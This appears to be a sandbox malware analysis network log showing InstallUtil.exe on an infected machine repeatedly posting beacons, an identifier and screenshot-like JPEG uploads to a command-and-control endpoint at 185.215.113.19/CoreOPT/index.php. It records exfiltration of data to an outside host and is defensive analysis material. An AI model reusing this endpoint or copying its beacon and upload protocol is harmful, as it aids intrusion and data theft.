Oct 16, 2024 19:23:31.134553909 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:31.134553909 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:31.134553909 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:31.134553909 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:31.134598970 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:31.134598970 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:31.134598970 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:31.134598970 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:32.754952908 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	49776	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:31.412405968 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:32.427972078 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:32.429213047 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:32.844526052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	49777	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:32.958889961 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:33.998574018 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:34.001051903 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:34.422276020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	49778	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:32.995321989 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:32.995413065 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:32.995459080 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:32.995474100 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:32.995487928 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:32.995501041 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:32.995516062 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:32.995528936 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:32.995543957 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:32.995563984 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:32.995574951 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:34.610179901 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	49779	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:34.541245937 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:35.563842058 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:35.565596104 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:35.983247995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	49780	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:34.778661013 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:34.778661013 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:34.778739929 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:34.778739929 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:34.778739929 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:34.778739929 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:34.778739929 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:34.778872967 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:34.778872967 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:34.778872967 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:34.778872967 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:36.358716011 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	49782	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:36.096848965 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	49783	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:36.597914934 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:36.597914934 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:36.597973108 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:36.597973108 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:36.597973108 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:36.597973108 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:36.598025084 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:36.598025084 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:36.598025084 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:36.598066092 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:36.598066092 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	49784	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:36.976264000 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:38.070561886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	49785	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:37.211183071 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTEzODE= Host: 185.215.113.19 Content-Length: 91533 Cache-Control: no-cache
Oct 16, 2024 19:23:37.211205959 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 45 7a 4f 44 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTEzODE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:37.211265087 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:37.211321115 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:37.211321115 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:37.211321115 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:37.211321115 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:37.211322069 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:37.211448908 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:37.211448908 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:37.211448908 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:38.823035955 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	49788	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:38.225370884 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:39.256578922 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:39.261010885 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:39.671103954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	49789	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
